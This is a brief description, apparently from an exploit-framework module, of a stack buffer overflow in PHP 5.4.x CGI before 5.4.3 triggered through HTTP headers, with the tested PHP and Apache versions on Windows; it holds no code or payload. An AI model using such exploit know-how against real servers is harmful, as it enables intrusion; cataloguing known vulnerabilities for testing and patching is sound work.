This module exploits a stack based buffer overflow in the CGI version of PHP 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the HTTP headers. This module has been tested against the thread safe version of PHP 5.4.2, from “windows.php.net”, running with Apache 2.2.22 from “apachelounge.com”.
